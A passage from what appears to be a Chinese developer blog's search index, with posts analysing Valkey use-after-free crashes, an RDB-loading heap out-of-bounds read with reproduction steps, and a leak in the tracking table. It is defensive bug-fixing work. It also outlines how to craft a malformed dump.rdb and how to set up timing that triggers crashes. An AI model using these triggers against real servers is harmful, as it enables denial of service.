zfree(node); /* 堆块进 freelist / ASan 标成 fd */ } 此时内存状态：\n栈上 li.next ──────────┐ ▼ [已释放的 node_B] ← ASan shadow = fd server.clients: ... → node_A → (原 B 的 next) → ... （A 此时可能还没 unlink；无关紧要，UAF 对象是 B 的节点。）\n5. 炸掉的那一读 # 内层 KILL 返回 → freeClient(A) 继续跑完（unlink A 等）→ 外层 while 再调 listNext：\n#0 listNext adlist.c:267 ← READ iter-\u0026gt;next-\u0026gt;next 之类 #1 clientKillCommand networking.c:5386 listNext 做的第一件事就是：\nlistNode *current = iter-\u0026gt;next; /* = 已 free 的 node_B */ iter-\u0026gt;next = current-\u0026gt;next; /* 读 freed heap → UAF */ ASan 报告里：\nREAD：listNext / 外层 clientKillCommand:5386 freed by：listDelNode ← unlinkClient ← 内层 freeClient(B) ← module VM_Call ← 外层 freeClient(A) 的 disconnect hook 和 #4198 同构：都是 迭代器缓存了后继 listNode*，同步 freeClient 把后继节点拆掉并 zfree，迭代器再解引用。差别只是链表从 blocking_keys 换成了 server.clients。\n6. 为何“杀当前安全、杀后继才炸” # 杀当前节点：adlist 约定允许删 current；listNext 已把 next 提前抄走，删 current 不伤 iter-\u0026gt;next。 杀后继：正是 iter-\u0026gt;next 指向的那块堆；listDelNode 释放后，下一次 listNext 必 UAF。 PoC 用相邻的 id1/id2，保证 A 的后继恰好是 B，命中这个窗口。\nH3场景 # 1. 订阅在 Valkey 里到底是什么 # Pub/Sub 不是存在某个 key 里的数据结构，而是：TCP 连接（client）进入一种特殊工作模式。\n客户端发：\nSUBSCRIBE h3chan 协议层收到后走 subscribeCommand → pubsubSubscribeChannel()。效果是：\n这个 client 被标成 pubsub 类型（之后普通命令基本不能再发，只能收消息 / 退订）。 建立双向索引： client.pubsub_data-\u0026gt;pubsub_channels \u0026#34;h3chan\u0026#34; ──► (存在即可) server.pubsub_channels \u0026#34;h3chan\u0026#34; ──► hashtable{ clientA, clientB, ... } # 所以应该在这里记录了一个客户端的链表(还是list?) 对应代码：\nint pubsubSubscribeChannel(client *c, robj *channel, pubsubtype type) { ... /* client → channels */ hashtableInsertAtPosition(type.clientPubSubChannels(c), channel, \u0026amp;position); ... /* channel → clients */ serverAssert(hashtableAdd(clients, c)); ... addReplyPubsubSubscribed(c, channel, type); } 从网络栈看：\n连接仍是普通 accept() 出来的 fd，挂在 ae 事件循环上。 区别在于：这个 fd 上的 client 对象多了一份 pubsub_data，并且 PUBLISH 时会按 channel 找到订阅者，往各自 reply buffer 里写消息，再由写事件 write() 出去。 没有单独的“订阅 socket”；订阅状态 = 堆上 client 结构 + 全局 channel 表里的指针。 另外还有一条完全独立的链表：\nserver.clients ──► listNode ──► listNode ──► ... │ │ ▼ ▼ client* client* 所有已连接 client（管理连接、订阅者、副本……）都挂在这里。ACL 踢人扫的是这条链，不是 server.pubsub_channels。\n注意不是,ACL Access Control List 就是访问权限控制链表，来进行处理。\n2. ACL 和订阅怎么缠在一起 # ACL 可以限制用户能碰哪些 channel（\u0026amp;foo、resetchannels 等）。\n订阅时就会查权限；更关键的是：权限事后变严了，已经订上的连接怎么办？\nValkey 的策略是：直接踢连接，不是只 UNSUBSCRIBE。\nACL SETUSER h3user resetchannels（或 ACL LOAD 收紧规则）最后会进：\nstatic void ACLKillPubsubClientsIfNeeded(user *new, user *original) { ... listRewind(server.clients, \u0026amp;li); while ((ln = listNext(\u0026amp;li)) != NULL) { client *c = listNodeValue(ln); if (c-\u0026gt;user != original) continue; if (ACLShouldKillPubsubClient(c, channels)) { freeClientOrCloseLater(c, 0); /* 同步 free（非 current_client） */ } } } ACLShouldKillPubsubClient 看的是： 这个 client 若是 pubsub，且它订的 channel/pattern 不在新规则允许集合里，就返回要杀。\n所以 H3 路径的业务语义很简单：\n两个 TCP 连接 AUTH 成同一 ACL 用户 → 各自 SUBSCRIBE h3chan → 管理员收紧该用户的 channel ACL → 服务器遍历 server.clients，把这两个订阅者 free 掉 踢人时会走 freeClient → freeClientPubSubData → 从 channel→clients 表里把自己摘掉，再 unlinkClient 关 fd、从 server.clients 摘节点。\n3. 为什么“纯踢两个订阅者”不会炸 # adlist 的迭代器契约是：\nlistNode *listNext(listIter *iter) { listNode *current = iter-\u0026gt;next; if (current != NULL) { if (iter-\u0026gt;direction == AL_START_HEAD) iter-\u0026gt;next = current-\u0026gt;next; /* 提前缓存后继指针 */ ... } return current; } 内存里大致是：\nlistIter.li.next ──────────┐ ▼ [node_admin] → [node_sub1] → [node_sub2] → NULL │ │ ▼ ▼ clientA clientB 当你处理 node_sub1 时，listNext 已经把 li.next 设成 node_sub2。\n若此时只 freeClient(A)：\nunlinkClient(A) 只 listDelNode(node_sub1) node_sub2 还在，li.next 仍合法\n→ 下一轮 listNext 拿到 B，再 freeClient(B)，一切正常。 这就是 control 测试能过的原因：同步 free 当前节点，对 adlist 是安全的。\n4. 为什么加上 module 回调就会炸（H3 真正的洞） # 爆炸不来自“订阅机制本身”，而来自 freeClient 的重入时机。\nif (c-\u0026gt;conn) { moduleFireServerEvent(..., CLIENT_CHANGE_DISCONNECTED, c); } ... /* 很后面才 */ unlinkClient(c); /* 约 2221 行 */ 时序：\nACL 循环: listNext → 拿到 sub1 li.next 已经缓存 = node_sub2 ← 关键！ freeClientOrCloseLater(sub1) freeClient(sub1) ① module: DISCONNECTED(sub1) ← 此时 sub1 还在 server.clients 上 h3uaf: CLIENT KILL ID sub2 freeClient(sub2) unlinkClient(sub2) listDelNode(node_sub2) ← 24 字节 listNode 被 zfree zfree(clientB) ② unlinkClient(sub1) ← 才摘自己 ACL 循环: listNext(\u0026amp;li) 读 li.next (= 已释放的 node_sub2) → ASan: heap-use-after-free 对应你看到的栈：\nlistNext ← ACLKillPubsubClientsIfNeeded / ACLLoadFromFile freed by: listDelNode ← unlinkClient ← freeClient(sub2) ← CLIENT KILL ← module CLIENT_CHANGE ← freeClient(sub1) 用内存布局说：\nlistNode 是独立堆块（约 24B：prev/next/value） client 结构是另一块堆 li.next 存的是 listNode*，不是 client* 杀后继时： clientB 和 node_sub2 都被释放 但栈上/寄存器里的 listIter 仍握着毒指针 node_sub2 下次 listNext 一解引用 → UAF（读 next/value） 这和 #4198（ready-key 上的 blocked list）是同一类 bug：\n单线程里，用 listIter 缓存后继 listNode*，中间同步调用链却把后继节点从同一条 list 上拆掉并释放。\n订阅只是提供了一个会批量同步 freeClient 的入口（ACL 收紧 channel）； 真正引爆需要 free 当前时再 free 后继（PoC 用 module disconnect hook 模拟）。\n5. 整条路径串起来（对照 PoC） # [TCP] rd1, rd2 accept → linkClient → 挂上 server.clients [AUTH] 绑定同一 ACL user [SUBSCRIBE] 写入 client↔channel 双向表，client 变 pubsub [ACL SETUSER resetchannels] // 或 ACL LOAD 写严规则 └─ ACLKillPubsubClientsIfNeeded 扫 server.clients 发现 rd1 订了不再允许的 channel → freeClient(rd1) └─ DISCONNECTED hook → CLIENT KILL rd2 └─ 拆掉 li 已缓存的 node_rd2 listNext → 炸 若没有 hook：free(rd1) 只拆 node_rd1，再 free(rd2)，安全。 6. 一句话抓住本质 # 订阅：连接态 + 双向哈希索引，消息靠往订阅者 reply buffer 写。 ACL 收紧：策略是遍历 server.clients 同步踢非法订阅者。 炸的原因：不是 SUBSCRIBE 写坏了表，而是踢人循环用 listIter 缓存了后继 listNode*，而 freeClient 在 unlink 前就触发 module，让后继也被同步拆掉——缓存指针变成悬空指针。 如果你愿意，下一步可以对照 H2（CLIENT KILL 自己扫 server.clients）画一张“同一条 clients 链上的两种入口”，会更清楚这类洞的治理面为什么该统一（快照 / async free / 禁止在 DISCONNECTED 里同步杀别的 client）。\n但是值得注意的是，这种情况是我们刻意利用module制造出来的，在生产环境中一般见不到，我们只是想证明会出现此类问题。\n中优先级 # # 位置 结构 备注 尝试思路 M1 freeClientsInAsyncFreeQueue clients_to_close 在 beforeSleep；杀当前一般 OK；module 再 sync free 队列里另一个则危险 两个 CLOSE_ASAP；第一个 free 时杀第二个 M2 disconnectReplicas / replicationCron 超时 server.replicas 同 listIter 模式 ≥2 replica；disconnect 回调再杀另一个 M3 diskless rdb_pipe_conns 错误路径 conn 数组 不是 listIter，但是握着后续 client* diskless 多副本 + 错误路径 + 级联 free M4 moduleFireServerEvent / keyspace notify listener/subscriber list 迭代中注销另一个 listener 两 listener，第一个卸第二个 M5 module BlockClientOnKeys reply 仍是 blocking_keys 同一列表的另一攻击面（已有 PoC） 已知 #4198 再来看看中等优先级是否会出现此类情况。\n","date":"2026-07-21","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-sync-reentry-uaf/","section":"Valkey","summary":"\u003cblockquote\u003e\n\u003cp\u003e迄今为止我们看到好几个这样的段错误问题了。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e这个PR,为单线程释放造成的UAF \u003ca href=\"https://github.com/valkey-io/valkey/pull/4212\" target=\"_blank\"\u003ehttps://github.com/valkey-io/valkey/pull/4212\u003c/a\u003e\n同时还有\u003cstrong\u003e多线程下RDMA的崩溃问题\u003c/strong\u003e 以及 \u003cstrong\u003eValkey Over RDMA测试中server UAF崩溃的问题\u003c/strong\u003e\n中我们都遇到类似的问题，\u003cstrong\u003e于是尝试从架构上来解决一下这个问题\u003c/strong\u003e.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e举一隅不以三隅反，则不复也。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eBroader direction (non-blocking):\u003c/strong\u003e Part of the root cause is that many flows free clients synchronously (\u003ccode\u003eCLIENT KILL\u003c/code\u003e, \u003ccode\u003eevictClients()\u003c/code\u003e, COB-limit handling, …), and we keep tripping over iterators/cached pointers that outlive those frees. This snapshot fix is a good local solution, but it may be worth a broader discussion on whether these paths should prefer \u003ccode\u003efreeClientAsync()\u003c/code\u003e so client teardown always happens at a safe point (beforeSleep) rather than mid-iteration. Raising it here since it\u0026rsquo;s a recurring class of bug, not to block this PR.\u003c/p\u003e","title":"防止同步重入解UAF类问题","type":"valkey"},{"content":" 1. BLPOP 是干什么的？ # 普通 LPOP mylist：list 空就立刻回 (nil)。\nBLPOP mylist 0 是 Blocking LPOP：\nlist 里有元素 → 立刻弹出，和 LPOP 一样 list 空 → 不立刻回包，这个 TCP 连接在服务端进入阻塞态，等有人 LPUSH/RPUSH 再唤醒 从网络协议栈看：\n客户端 socket ──write──▶ 服务端 query buffer │ 解析出 BLPOP │ list 空？──yes──▶ 标记 CLIENT_BLOCKED │ 可读 handler 仍在（epoll 仍监听） │ 但不再 parse/execute 后续命令 │ （数据可进 query buf，先不执行） │ 客户端 read() 阻塞等 RESP ◀── 暂时没有任何 reply 写出 所以 BLPOP 本质是：用一条长连接 + 服务端状态机，把“等数据”从客户端轮询变成服务端挂起。超时参数 0 表示一直等。\n多个客户端对同一 key 做 BLPOP，就是多个 waiter 排队。\n2. 服务端怎么记这些“等着的人”？ # 每个 DB 有一张表：db-\u0026gt;blocking_keys：\nkey \u0026#34;mylist\u0026#34; ──▶ list: [ client A ] → [ client B ] → ... 挂上时（blockForKeys）往链表尾插节点：\nlistAddNodeTail(l, c); dictSetVal(c-\u0026gt;bstate-\u0026gt;keys, client_blocked_entry, listLast(l)); 内存里大致是：\nlist 头 │ ▼ ┌─────────────┐ next ┌─────────────┐ │ listNode A │ ───────▶ │ listNode B │ │ value = \u0026amp;A │ │ value = \u0026amp;B │ └─────────────┘ └─────────────┘ ▲ ▲ │ │ client A 还把自己的 client B 同理 bstate-\u0026gt;keys[\u0026#34;mylist\u0026#34;] 指回这个 listNode* （方便 O(1) 摘链，而不是扫链表） 要点：链表节点 listNode 是独立 heap 对象； 客户端结构体里还握着指向它的指针。 谁把客户端拆掉，往往会顺手 listUnlink + zfree(listNode)。\n3. 有人 LPUSH 之后发生什么？ # LPUSH mylist v1 执行完会 signalKeyAsReady，把 key 丢进 server.ready_keys。\n当前命令的 processCommand 末尾调用 handleClientsBlockedOnKeys → handleClientsBlockedOnKey：\nlistRewind(clients, \u0026amp;li); ... while ((ln = listNext(\u0026amp;li)) \u0026amp;\u0026amp; count--) { client *receiver = listNodeValue(ln); ... unblockClientOnKey(receiver, rl-\u0026gt;key); 对 list 类命令，唤醒不是“直接塞个回复”那么简单，而是：\n把该 client 从 blocking_keys 摘掉、清 CLIENT_BLOCKED 重新执行原来的 BLPOP（processCommand 再跑一遍） 这时 list 里已有元素，BLPOP 同步弹出并 addReply 这就是 “reexec / pending_command” 路径。\n4. Bug 的核心：listIter 提前缓存了后继节点 # adlist 的迭代器约定写得很清楚：迭代时只允许删当前节点，不能删别的节点。\nlistNode *listNext(listIter *iter) { listNode *current = iter-\u0026gt;next; if (current != NULL) { if (iter-\u0026gt;direction == AL_START_HEAD) iter-\u0026gt;next = current-\u0026gt;next; /* 已经把“下一个”指针存进 iter */ else iter-\u0026gt;next = current-\u0026gt;prev; } return current; } 服务 A 的那一轮：\nlistNext(\u0026amp;li) 得到 nodeA 同时 li.next = nodeB ← 后继指针已经钉死在栈上的 listIter 里 然后对 A 调用 unblockClientOnKey(A)。若在这个调用返回之前， 有人把 nodeB 从链表摘掉并 free， 返回后外层再 listNext 就会读已经释放的 listNode → heap UAF。\nadlist 只保证：删当前节点时，迭代器里缓存的 next 仍有效。它不保证你在回调里删掉后继。\n5. 谁在回调里杀掉了后继 B？（无 module 的这条路径） # 调用栈（你 ASan 打出来的那条）：\nhandleClientsBlockedOnKey // 正在 for 链表，li.next == nodeB └─ unblockClientOnKey(A) └─ processCommand(A) // 重跑 BLPOP └─ evictClients() // processCommand 开头：客户端内存超限就踢人 └─ freeClient(B) // B 输出缓冲很大，被选中 └─ unblockClient / unblockClientWaitingData └─ zfree(nodeB) // 正是 li.next 指向的那块 … 回到 while └─ listNext(\u0026amp;li) // 读已 free 的 nodeB → UAF 从系统角度：\n层 发生了什么 事件循环 仍在处理同一次 read→processCommand(EXEC/LPUSH) 的同步调用栈里，没有回到 epoll_wait 客户端状态 A 从 blocked → 重入命令执行；B 仍在同一条 blocking_keys 链表上 内存 evictClients 同步 freeClient(B)，把 B 的 listNode 还给 jemalloc/libc 迭代器 栈上 listIter.next 仍是悬空指针 所以这不是“多线程 race”，而是 单线程重入（reentrancy）：外层握着结构，内层同一线程把结构拆了。\n和 module 版 #4198 的差别只在“谁触发 freeClient(后继)”：\nmodule：reply 回调里 CLIENT KILL 这条：processCommand → evictClients 同一条链表 + 同一种危险的 listIter 用法。\n6. 为啥测试要用 MULTI 绑 CONFIG SET + LPUSH？ # 若直接：\nCONFIG SET maxmemory-clients 很小 LPUSH mylist v1 则 LPUSH 自己的 processCommand 一进来就会 evictClients，B 可能在进入 handleClientsBlockedOnKey 之前就被踢掉——打不到“迭代中途 free 后继”。\nMULTI/EXEC 把降水位和 LPUSH 放进同一次 EXEC：\nprocessCommand(EXEC) 开头：水位还高 → 不踢 B 事务里 CONFIG SET 把水位降下去（只走嵌套 call()，不再跑一整遍外层 processCommand） 事务里 LPUSH 把 key 标 ready EXEC 结束后才 handleClientsBlockedOnKeys 服务 A 时嵌套 processCommand(A) 才按低水位踢掉 B → 正好打在迭代窗口里 这是在人为制造“唤醒路径上、迭代中途发生同步 free”的时序，不是日常最常见写法，但证明了：普通 BLPOP 路径确实能踩到这个洞。\n7. 一句话收束 # BLPOP = list 空时把连接挂在 blocking_keys[key] 的 waiter 链表上。\nBug = 唤醒时用 listIter 扫这条链表，却在服务当前 waiter 的同步回调里（重跑命令 → evictClients）把后继 waiter 的 listNode 释放了，外层再 listNext 读悬空指针。\n修复思路也因此很明确：不要在可能同步 freeClient 的回调期间，依赖“缓存了后继 listNode*”的裸迭代；改成 ID/指针快照或先收集再处理，使后继被拆掉时不会再解引用已释放节点。\n","date":"2026-07-21","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-uaf-multi-blpop/","section":"Valkey","summary":"\u003ch2 class=\"relative group\"\u003e1. BLPOP 是干什么的？ \n    \u003cdiv id=\"1-blpop-%E6%98%AF%E5%B9%B2%E4%BB%80%E4%B9%88%E7%9A%84\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#1-blpop-%E6%98%AF%E5%B9%B2%E4%BB%80%E4%B9%88%E7%9A%84\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e普通 \u003ccode\u003eLPOP mylist\u003c/code\u003e：list 空就立刻回 \u003ccode\u003e(nil)\u003c/code\u003e。\u003c/p\u003e","title":"UAF类-多BLPOP场景","type":"valkey"},{"content":"https://github.com/valkey-io/valkey/issues/4207 一类安全性问题，上面是issue界面，可以尝试解决一下。\n典型的 trust-boundary 长度契约不一致——命令路径强制 job_name 必须是 40 字节， RDB 加载路径却没校验，导致 memcpy(..., 40) 从短 SDS 上越界读。\n漏洞本质（从内存布局看） # 子系统约定 # CLUSTER_NAMELEN == 40，job name 是固定长度 hex（类似 node id）：\nchar name[CLUSTER_NAMELEN]; /* Unique name for the job, hex * string, sha1-size. */ Save 路径：写死 40 字节\nrdbSaveRawString(rdb, job-\u0026gt;name, CLUSTER_NAMELEN) 命令路径：显式拒绝非 40 字节\nsdslen(...) != CLUSTER_NAMELEN Load 路径（有洞）：rdbLoadStringObject() 接受任意长度字符串，原样交给 createSlotImportJob() 崩溃点 # // 这就是RDB导入的时候造成的问题？ slotMigrationJob *createSlotImportJob(client *c, clusterNode *source_node, char *name, list *slot_ranges) { slotMigrationJob *job = zcalloc(sizeof(slotMigrationJob)); memcpy(job-\u0026gt;name, name, CLUSTER_NAMELEN); 当 RDB 里 job_name 只有 1 字节时：\nheap: [sdshdr...][\u0026#39;A\u0026#39;][\u0026#39;\\0\u0026#39;][ 后续可能是 freelist/相邻分配物 ...] ^ objectGetVal() memcpy 要读 40 字节 → 越过 SDS 逻辑长度 → heap OOB read 目标 job-\u0026gt;name[40] 本身合法；问题是源指针没有 40 字节可读数据。 ASan 报的是 read，不是 write——典型 DoS（可靠 crash），不是直接任意写。\n攻击面 # 需要把恶意 dump.rdb 放到实例数据目录，并开 cluster-enabled yes。 常见场景：备份投毒、共享存储、错误恢复流程。不是远程未认证协议洞，但仍是启动期可信输入校验失败。\n尝试复现问题 # 太神奇了，这是怎么使用AI发现的？ 复现路径在issue中描述的非常详细。\n步骤 做什么 A 从 unstable 拉新分支 B ASan 复现（确认 crash） C 按建议加长度校验 D 加回归测试（最好 Tcl，启动期拒载） E 推到你的 fork quanyeyang/valkey，对 valkey-io/valkey 开 PR，关联 #4207 # 1) ASan 构建 make distclean make -j\u0026#34;$(nproc)\u0026#34; SANITIZER=address OPTIMIZATION=-O0 # 2) 按 issue 生成 empty.rdb → 插入 opcode 0xF3 短 name → 重算 CRC64 # 3) cluster-enabled 实例加载该 dump.rdb # 期望：ASan 在 memcpy 处报 heap-buffer-overflow READ ","date":"2026-07-19","externalUrl":null,"permalink":"/zh-cn/valkey/security-rdb-slot-import-oob/","section":"Valkey","summary":"\u003cp\u003e\u003ca href=\"https://github.com/valkey-io/valkey/issues/4207\" target=\"_blank\"\u003ehttps://github.com/valkey-io/valkey/issues/4207\u003c/a\u003e\n一类安全性问题，上面是issue界面，可以尝试解决一下。\u003c/p\u003e\n\u003cp\u003e典型的 trust-boundary 长度契约不一致——命令路径强制 \u003ccode\u003ejob_name\u003c/code\u003e 必须是 40 字节，\nRDB 加载路径却没校验，导致 \u003ccode\u003ememcpy(..., 40)\u003c/code\u003e 从短 SDS 上越界读。\u003c/p\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e漏洞本质（从内存布局看） \n    \u003cdiv id=\"%E6%BC%8F%E6%B4%9E%E6%9C%AC%E8%B4%A8%E4%BB%8E%E5%86%85%E5%AD%98%E5%B8%83%E5%B1%80%E7%9C%8B\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E6%BC%8F%E6%B4%9E%E6%9C%AC%E8%B4%A8%E4%BB%8E%E5%86%85%E5%AD%98%E5%B8%83%E5%B1%80%E7%9C%8B\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\n\n\u003ch3 class=\"relative group\"\u003e子系统约定 \n    \u003cdiv id=\"%E5%AD%90%E7%B3%BB%E7%BB%9F%E7%BA%A6%E5%AE%9A\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E5%AD%90%E7%B3%BB%E7%BB%9F%E7%BA%A6%E5%AE%9A\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eCLUSTER_NAMELEN == 40\u003c/code\u003e，job name 是\u003cstrong\u003e固定长度 hex\u003c/strong\u003e（类似 node id）：\u003c/p\u003e","title":"RDB_OPCODE_SLOT_IMPORT short job_name causes server-side heap out-of-bounds read during startup RDB loading","type":"valkey"},{"content":"","date":"2026-07-19","externalUrl":null,"permalink":"/zh-cn/tags/security/","section":"Tags","summary":"","title":"Security","type":"tags"},{"content":" Issue #4143 的核心是：Client Side Caching（CSC）的服务端反向索引在客户端断开后故意不做即时清理，导致内层表可无限膨胀。 下面按机制 → 内存布局 → 生命周期 → 缺口 来拆。\n这个非常像Thesis-ZooKeeper中的客户端和server的watch机制。\n问题背景 # 功能背景：Client Side Caching # CLIENT TRACKING on 让客户端在本地缓存 key。 服务端不维护「客户端有哪些 key」的完整正向索引，而是维护反向索引：\n某个 key 可能被哪些 client ID 缓存过？\nkey 被修改时， 服务端按这个表发 invalidation（RESP3 push / redirect pubsub）， 所以这个就是主动推送？ 客户端再丢本地缓存。\n数据结构（内存视角） # 就是维护了一系列的反向索引，对于一个key,可能有哪些client持有过。\nTrackingTable (全局 rax*) ├── key \u0026#34;user:1\u0026#34; → inner rax* (client ID 集合) ---\u0026gt; 里面的这个基数树没有上限 │ ├── 8-byte id → NULL │ ├── 8-byte id → NULL │ └── ... ├── key \u0026#34;user:2\u0026#34; → inner rax* └── ... 是基数树。\n/* The tracking table is constituted by a radix tree of keys, each pointing * to a radix tree of client IDs, used to track the clients that may have * certain keys in their local, client side, cache. */ rax *TrackingTable = NULL; rax *PrefixTable = NULL; uint64_t TrackingTableTotalItems = 0; /* Total number of IDs stored across the whole tracking table. ... */ 读路径插入树中:\nfor (int j = 0; j \u0026lt; numkeys; j++) { int idx = keys[j].pos; sds sdskey = objectGetVal(executing-\u0026gt;argv[idx]); void *result; rax *ids; if (!raxFind(TrackingTable, (unsigned char *)sdskey, sdslen(sdskey), \u0026amp;result)) { ids = raxNew(); int inserted = raxTryInsert(TrackingTable, (unsigned char *)sdskey, sdslen(sdskey), ids, NULL); serverAssert(inserted == 1); } else { ids = result; } if (raxTryInsert(ids, (unsigned char *)\u0026amp;tracking-\u0026gt;id, sizeof(tracking-\u0026gt;id), NULL, NULL)) TrackingTableTotalItems++; } 要点：\n层次 结构 限制 外层 key → inner rax tracking-table-max-keys（默认 1M），超限随机淘汰 key 内层 client ID（uint64_t，网络字节序存进 rax key）→ NULL 无上限 全局计数 TrackingTableTotalItems 只统计 ID 条数，不限流 client ID 查找靠 server.clients_index（另一个 rax）：\nclient *lookupClientByID(uint64_t id) { id = htonu64(id); void *c = NULL; raxFind(server.clients_index, (unsigned char *)\u0026amp;id, sizeof(id), \u0026amp;c); return c; } 没有「client → keys」反向边，所以断开时没法 O(tracked_keys) 精确删除， 只能扫全表，复杂度是 O(外层 keys × 内层 ids)。\n生命周期：为什么断开故意不清理 # disableTracking() 注释写得很直白：\n/* Remove the tracking state from the client \u0026#39;c\u0026#39;. Note that there is not much * to do for us here, if not to decrement the counter of the clients in * tracking mode, because we just store the ID of the client in the tracking * table, so we\u0026#39;ll remove the ID reference in a lazy way. Otherwise when a * client with many entries in the table is removed, it would cost a lot of * time to do the cleanup. */ void disableTracking(client *c) { /* BCAST 模式：会从 PrefixTable 里真正摘掉 client pointer */ ... /* 普通 tracking：只清 flag + tracking_clients--，不动 TrackingTable */ } freeClient / clearClientConnectionState 路径会调 disableTracking（networking.c:2041），但 TrackingTable 里的死 ID 原样留下。\n这是典型的 latency vs memory 权衡：\n断开必须快（事件循环里不能扫百万级 key） 假设「key 迟早会被改 → invalidate 时整棵 inner rax 一起扔掉」 问题就出在这个假设不成立的时候。\n死条目何时真正消失？ # 内层 ID 只在「整 key 被 invalidate」时一起释放,所以说这个remove是lazy的，之前字节一面的时候被问到过.\nvoid trackingInvalidateKey(...) { ... while (raxNext(\u0026amp;ri)) { client *target = lookupClientByID(id); if (target == NULL || !(target-\u0026gt;flag.tracking) || ...) { continue; /* 死客户端：跳过发消息，但不从 ids 里删除！ */ } sendTrackingMessage(...); } /* 然后整棵 inner rax 删掉 */ TrackingTableTotalItems -= raxSize(ids); raxFree(ids); raxRemove(TrackingTable, key, keylen, NULL); } 触发整 key 清理的路径：\nkey 被修改/删除（signalModifiedKey → trackingInvalidateKey） 外层超限淘汰（trackingLimitUsedSlots，按外层 key 数随机 walk） FLUSHDB/FLUSHALL（整表重建） 注意 invalidate 遍历时： lookupClientByID == NULL 只是 skip 发送，不会单独 raxRemove 那个死 ID。 只有整 key 被干掉时，死 ID 才一起消失。\n也就是肯定不会单独删除client ids,而是等到整个key过期的时候才会释放。\n因此复现路径就是 issue 说的：\n大量 client TRACKING on → 读一批很少变更的 key → 断开 → 外层 key 仍在（未改、未触顶淘汰） → 内层堆满 stale client ID → TrackingTableTotalItems / 堆内存持续涨 外层 tracking-table-max-keys 约束不了内层聚合大小： 100 个 key × 10 万死客户端 = 1000 万条目，外层仍只有 100。\nIssue 期望的三件事 # 期望 含义 内层（或聚合）大小有上限 不能只限 raxSize(TrackingTable) 死条目清理机制（sweeper） 后台渐进扫描：lookupClientByID==NULL 则删；或断开时异步扫 TrackingTable 纳入 defrag 复用 defragRadixTree，外层 + 内层都搬 ","date":"2026-07-15","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-client-side-caching-index-leak/","section":"Valkey","summary":"\u003cblockquote\u003e\n\u003cp\u003eIssue \u003ca href=\"https://github.com/valkey-io/valkey/issues/4143\" target=\"_blank\"\u003e#4143\u003c/a\u003e 的核心是：Client Side Caching（CSC）的服务端反向索引在客户端断开后\u003cstrong\u003e故意不做即时清理\u003c/strong\u003e，\u003cstrong\u003e导致内层表可无限膨胀\u003c/strong\u003e。\n下面按\u003cstrong\u003e机制 → 内存布局 → 生命周期 → 缺口\u003c/strong\u003e 来拆。\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e这个非常像\u003cstrong\u003eThesis-ZooKeeper\u003c/strong\u003e中的客户端和server的watch机制。\u003c/p\u003e\n\n\n\u003ch1 class=\"relative group\"\u003e问题背景 \n    \u003cdiv id=\"%E9%97%AE%E9%A2%98%E8%83%8C%E6%99%AF\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E9%97%AE%E9%A2%98%E8%83%8C%E6%99%AF\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e功能背景：Client Side Caching \n    \u003cdiv id=\"%E5%8A%9F%E8%83%BD%E8%83%8C%E6%99%AFclient-side-caching\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E5%8A%9F%E8%83%BD%E8%83%8C%E6%99%AFclient-side-caching\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003eCLIENT TRACKING on\u003c/code\u003e 让\u003cstrong\u003e客户端在本地缓存 key\u003c/strong\u003e。\n服务端\u003cstrong\u003e不维护\u003c/strong\u003e「客户端有哪些 key」的\u003cstrong\u003e完整正向索引\u003c/strong\u003e，而是维护反向索引：\u003c/p\u003e","title":"Client Side Caching-服务端反向索引在客户端断开之后没有做及时清理导致无限膨胀的问题","type":"valkey"},{"content":"https://github.com/valkey-io/valkey/issues/3345\n我们遇到的主要现象就是ctrl + C的时候会出现段错误，应该如何解决？\n这是我们的PR:\nhttps://github.com/valkey-io/valkey/pull/3448\n为了面试的时候讲清楚这个UAF导致的Server Crash问题，我们需要仔细复盘一下， 这个还是valkey Over RDMA的系列问题之一:\n背景:RDMA为什么需要pending list # RDMA 连接没有 TCP 那种 POLLOUT 